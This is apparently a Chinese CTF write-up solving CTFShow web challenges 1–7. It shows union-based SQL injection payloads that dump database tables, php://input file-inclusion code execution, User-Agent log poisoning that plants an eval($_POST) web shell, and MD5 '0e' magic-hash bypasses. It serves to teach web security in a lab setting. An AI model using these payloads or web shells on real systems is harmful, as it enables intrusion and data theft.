CTFShow web1-7——CTF秀WEB模块解题思路

这篇具有很好参考价值的文章主要介绍了CTFShow web1-7——CTF秀WEB模块解题思路。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

CTFShow WEB模块详细通关教程, 受篇幅所限, 通关教程分为上下两部分, 第一部分为1-7关, 第二部分为8-14关, 本篇博客为1-7关的通关教程, 从解题思路和原理剖析两个方面进行讲解

解题思路

CTFShow web签到题

这一关的重点在于注释, 由于开发人员的疏忽, 忘记删除注释中的敏感数据, 右键检查网页源码即可拿到 flag

CTFShow web1-7——CTF秀WEB模块解题思路CTFShow web1-7——CTF秀WEB模块解题思路

CTFShow web2

第二关是一个SQL注入漏洞, 注入点为单引号字符型注入, 页面有显示位, 推荐使用联合注入, 这一关没有对用户输入的参数进行过滤, 难度相对较低

CTFShow web1-7——CTF秀WEB模块解题思路
第一步, 判断注入点
用户名输入以下payload, 使SQL恒成立, 密码不用输

a' or true #

页面正常显示, 并且展示了登录成功后的用户名
CTFShow web1-7——CTF秀WEB模块解题思路
接下来, 在用户名输入以下payload, 使SQL恒不成立, 密码还是不用输

a' or false #

页面空显示, 原来显示用户名的地方, 现在为空了, 这是因为我们输入的参数拼接到SQL中执行时, 使SQL变得横不成立, SQL查询不到用户的信息, 自然会空显示
CTFShow web1-7——CTF秀WEB模块解题思路
由以上结果可知, 用户可以通过参数来控制SQL语句的执行结果, 故而存在SQL注入漏洞, 并且注入点为单引号字符型注入, 由于页面中有显示位( SQL查询的结果会在页面的固定位置显示), 推荐使用联合注入

第二步, 脱库
获取当前使用的数据库, 盲猜flag就在当前使用的数据库中, 用户名输入以下payload, 密码不用输

a' union select 1,database(),3 #

CTFShow web1-7——CTF秀WEB模块解题思路
获取数据库web2中的表

a' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='web2'),3 #

CTFShow web1-7——CTF秀WEB模块解题思路
获取表flag中的字段, 很明显flag就在flag表中

a' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='web2' and table_name='flag'),3 #

CTFShow web1-7——CTF秀WEB模块解题思路
获取 flag

a' union select 1,(select flag from flag),3 #

CTFShow web1-7——CTF秀WEB模块解题思路

CTFShow web3

第三关是一个文件包含漏洞, 推荐使用PHP://input伪协议进行任意代码执行

CTFShow web1-7——CTF秀WEB模块解题思路
在url的参数中提交PHP伪协议

?url=php://input

CTFShow web1-7——CTF秀WEB模块解题思路
使用代理工具( Burp Suite)抓包, 在POST请求体中输入需要执行的PHP代码, 比如执行系统命令:查看当前目录下的文件

<?php system('ls');?>

CTFShow web1-7——CTF秀WEB模块解题思路
当前目录下有两个文件, 目测flag就在 ctf_go_go_go 文件中
CTFShow web1-7——CTF秀WEB模块解题思路

接下来我们查看 ctf_go_go_go 文件, 获取 flag, url的参数中使用PHP伪协议

?url=php://input

CTFShow web1-7——CTF秀WEB模块解题思路
使用代理工具( Burp Suite)拦截请求, 在POST请求体中传递需要执行的PHP代码

<?php system('cat ctf_go_go_go');?>

CTFShow web1-7——CTF秀WEB模块解题思路
成功拿到 flag
CTFShow web1-7——CTF秀WEB模块解题思路

CTFShow web4

第四关也是一个文件包含漏洞, 与第三关不同的是, 这一关过滤了PHP伪协议, 推荐使用日志注入

CTFShow web1-7——CTF秀WEB模块解题思路
1.首先, 访问一下web服务器的日志文件( Nginx日志文件的默认位置是/var/log/nginx/access.log)

?url=/var/log/nginx/access.log

CTFShow web1-7——CTF秀WEB模块解题思路
2.使用代理工具( Burp Suite)在请求头User-Agent的内容中插入后门

<?php eval($_POST['a']);?>

CTFShow web1-7——CTF秀WEB模块解题思路
3.再次访问日志文件, 会发现新增了一条访问记录, 后门代码不会在页面中显示, 因为代码会被直接执行, 加下来我们使用蚁剑等工具链接后门即可
CTFShow web1-7——CTF秀WEB模块解题思路
CTFShow web1-7——CTF秀WEB模块解题思路
4.使用蚁剑的文件管理功能, 在网站根目录( www)下有一个 falg.txt, flag就在这个文件里面
CTFShow web1-7——CTF秀WEB模块解题思路
CTFShow web1-7——CTF秀WEB模块解题思路

CTFShow web5

第五关是一个MD5加密漏洞, 这一关需要传递两个参数, 如果两个参数的MD5值相等, 即可输出 flag, 推荐使用0e绕过

CTFShow web1-7——CTF秀WEB模块解题思路
payload如下

?v1=QNKCDZO&v2=240610708

CTFShow web1-7——CTF秀WEB模块解题思路

CTFShow web6

第六关是一个SQL注入漏洞, 注入类型为数值型注入, 页面有回显, 推荐使用联合注入, 源码中过滤了空格, 可以使用注释/**/ 或 括号() 来绕过

CTFShow web1-7——CTF秀WEB模块解题思路
1.使用万能账号测试注入点
括号()绕过, 用户名输入以下payload, 密码不用输

a'or(true)#	

注释/**/绕过

a'/**/or/**/true/**/#

CTFShow web1-7——CTF秀WEB模块解题思路
页面有显示位( 查询出来的用户在页面的固定位置展示), 推荐使用联合注入

2.脱库
获取当前数据库, 盲猜 flag 就在当前使用的数据库中, 用户名输入以下payload, 密码不用输

a'union/**/select/**/1,database(),3#

CTFShow web1-7——CTF秀WEB模块解题思路
获取数据库中的表

a'union/**/select/**/1,(select(group_concat(table_name))from/**/information_schema.tables/**/where/**/table_schema='web2'),3#

CTFShow web1-7——CTF秀WEB模块解题思路
获取表中的字段

a'union/**/select/**/1,(select(group_concat(column_name))from/**/information_schema.columns/**/where/**/table_schema='web2'and/**/table_name='flag'),3#

CTFShow web1-7——CTF秀WEB模块解题思路
获取 flag

a'union/**/select/**/1,(select/**/flag/**/from/**/flag),3#

CTFShow web1-7——CTF秀WEB模块解题思路

CTFShow web7

第七关也是一个SQL注入漏洞, 注入点是数值型注入, 页面有回显, 推荐使用联合注入, 源码中过滤了空格, 可以使用注释/**/ 或 括号() 来绕过

CTFShow web1-7——CTF秀WEB模块解题思路
1.判断注入点

url地址栏中输入以下payload, 是SQL恒成立, 可以查询到所有文章内容, 由此可证明存在SQL注入

?id=-1/**/or/**/true

CTFShow web1-7——CTF秀WEB模块解题思路
页面存在显示位( 文章标题和文章内容在固定位置展示), 推荐使用联合注入

2.脱库
获取当前数据库, url中输入以下payload

-1/**/union/**/select/**/1,database(),3

CTFShow web1-7——CTF秀WEB模块解题思路
获取数据库中的表

-1/**/union/**/select/**/1,(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema="web7"),3

CTFShow web1-7——CTF秀WEB模块解题思路
获取表中的字段

-1/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_schema="web7"and/**/table_name="flag"),3

CTFShow web1-7——CTF秀WEB模块解题思路
获取 flag

-1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3

CTFShow web1-7——CTF秀WEB模块解题思路

原理剖析

解题过程中用到了两种文件包含漏洞的利用方式, 一种MD5加密的绕过方式, 一种SQL注入漏洞的绕过方式, 接下来, 针对这几种方式的实现原理解释一下

php://input伪协议

php://input伪协议是文件包含漏洞的一种利用方式, 在url的参数中使用伪协议时, 会将POST请求体中的内容当做文件来执行, 如果POST请求体中包含代码, 则代码会被正常执行, 从而造成任意代码执行, 具体使用情况参考web3的解题思路

日志注入

日志注入是文件包含漏洞的一种利用方式, web服务器的日志文件会保存网站的访问记录, 包括请求的源地址, 时间, 请求方式, User-Agent, Referer等HTTP请求头, 如果在这些请求头中插入代码, 则代码会被保存在web服务器的日志文件中, 当我们访问日志文件的时候, 文件中的代码则会被执行
本次用到了一个Nginx日志文件的默认路径:/var/log/nginx/access.log

MD5加密漏洞-0e绕过

md5()函数在加密时存在一些漏洞, 这主要是因为PHP在使用来比较字符串时, 如果字符串是以0e开头, 则会被当做科学计数法, 结果转换为0
比如web5中, 两个参数经过md5()函数加密后, 都是0e开头, 在参与PHP的
比较时, 都会转换为0, 结果会变成0=0, 从而使比较成立, 除了上面使用的两个值以外, md5()函数加密后以0e开头的值还有
QNKCDZO
240610708
byGcY
sonZ7y
aabg7XSs
aabC9RqS
s878926199a
s155964671a
s214587387a
s1091221200a

过滤空格的绕过方式

SQL注入漏洞中, 经常会面对各种各样的过滤, 上面遇到的过滤空格的情况, 有两种常用的绕过方式
1.注释/**/绕过
2.括号()绕过文章来源地址https://www.toymoban.com/news/detail-486376.html

到了这里,关于CTFShow web1-7——CTF秀WEB模块解题思路的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • CTF show----web 解题笔记(web签到~web6)

    目录 web签到题 web2 考查点: 1.判断sql注入回显位置 2.查当前数据库名称 3.查看数据库表的数量 4.查表的名字 5.查flag表列的数量 6.查flag表列的名字 7.查flag表记录的数量 8.查flag表记录值 web3 web4 web5  web6 where is flag? 直接F12去找一下   找到   Y3Rmc2hvd3s1YzYyZWE0Mi04M2E5LTRhNDUtODRiM

    2023年04月18日
    浏览(42)
  • 【攻防世界-Web】unserialize3解题思路

    本题需要利用反序列化字符串来进行解题,根据源码提示我们需要构造code。 而__wakeup()在PHP中被称为魔术方法,在进行反序列化时,unserialize()会检查是否存在__wakeup(),若存在,该__wakeup()魔术方法会被先一步调用。对于本题,如果我们直接进行序列化,则会执行__wakeup()从而导

    2024年02月08日
    浏览(38)
  • Ctfshow web入门 权限维持篇 web670-web679 详细题解 全

    补充一下PHP中单双引号的区别: 单引号和双引号之间最显着的区别在于我们插入字符串和变量时。单引号不插入字符串和变量。单引号内的内容会按原样打印出来。在大多数情况下,单引号内没有任何变量或转义序列的编译。 但是,在双引号的情况下,写在引号内的变量将

    2024年02月11日
    浏览(36)
  • Ctfshow web入门 JWT篇 web345-web350 详细题解 全

    先看题目,提示admin。 抓个包看看看。 好吧我不装了,其实我知道是JWT。直接开做。 在jwt.io转换后,发现不存在第三部分的签证,也就不需要知道密钥。 全称是JSON Web Token。 通俗地说, JWT的本质就是一个字符串 ,它是将用户信息保存到一个Json字符串中,然后进行编码后得

    2024年02月13日
    浏览(47)
  • Ctfshow web入门 代码审计篇 web301-web310 详细题解 全

    下载的附件的目录结构如下: 开题后界面,看见输入框,感觉是sql。 大概浏览一遍源码,我们可以发现在 checklogin.php 文件中有无过滤的SQL语句,SQL注入没得跑了。 这题SQL注入有三种做法。 方法一: 普通盲注,时间和布尔都行,这里不赘述了。 方法二: 联合注入。 在联合

    2024年02月04日
    浏览(35)
  • Ctfshow web入门 XSS篇 web316-web333 详细题解 全

    是反射型 XSS 法一: 利用现成平台 法二: 自己搭服务器 先在服务器上面放一个接受Cookie的文件。 文件内容: payload: 已经获取到Cookie了 之后的题都用服务器不用XSS平台了。 管理服务器我用的是 xshell 和 xftp 。 和上一题一样的情景。 测试一下过滤了 script 了。 标签可以用

    2024年02月07日
    浏览(31)
  • Ctfshow web入门 SSTI 模板注入篇 web361-web372 详细题解 全

    笔记分享 一、代码块 二、常用方法 三、SSTI-jinja2执行命令的六种方式 最后附上我的思维导图 开始做题 进去是个这玩意。非常明显的SSTI模板注入的特征。 题目有提到名字就是考点。 测试一下是jinja2模板 payload:(以下这些都可以) 开始过滤了,测试了一下过滤了数字,1和

    2024年02月13日
    浏览(36)
  • Ctfshow web入门 XXE 模板注入篇 web373-web378 详细题解 全

    学习资料: (梭哈~) https://www.cnblogs.com/20175211lyz/p/11413335.html https://www.cnblogs.com/zhaijiahui/p/9147595.html https://www.cnblogs.com/r00tuser/p/7255939.html https://mp.weixin.qq.com/s?__biz=MzU1ODg3NTMyMQ==mid=2247489349idx=1sn=ab435be65bc6c35a21ea4bd040693d8csource=41#wechat_redirect https://security.tencent.com/index.php/blog/msg/69

    2024年02月13日
    浏览(37)
  • [CTF/网络安全] 攻防世界 Web_php_include 解题详析(php伪协议、data伪协议、file伪协议)

    这段代码首先通过 show_source(__FILE__) 显示当前文件的源代码,然后通过 $_GET[\\\'hello\\\'] 显示 URL 参数中名为 hello 的值。 接下来,代码使用 $_GET[\\\'page\\\'] 获取 URL 参数中名为 “page” 的值,并进行字符串替换,将 php:// 替换为空字符串 这是为了防止通过 URL 参数加载本地文件或其他可

    2024年02月08日
    浏览(46)
  • Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 全

    pregmatch 是正则匹配函数,匹配是否包含flag, if(!preg_match(\\\"/flag/i\\\", $c)) , /i 忽略大小写 可以利用system来间接执行系统命令 flag采用 f* 绕过,或者 mv fl?g.php 1.txt 修改文件名,或者 cat 反引号ls反引号 linux通配符:https://www.cnblogs.com/ysuwangqiang/p/11364173.html 多了对system和php的过滤 用

    2024年02月07日
    浏览(57)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包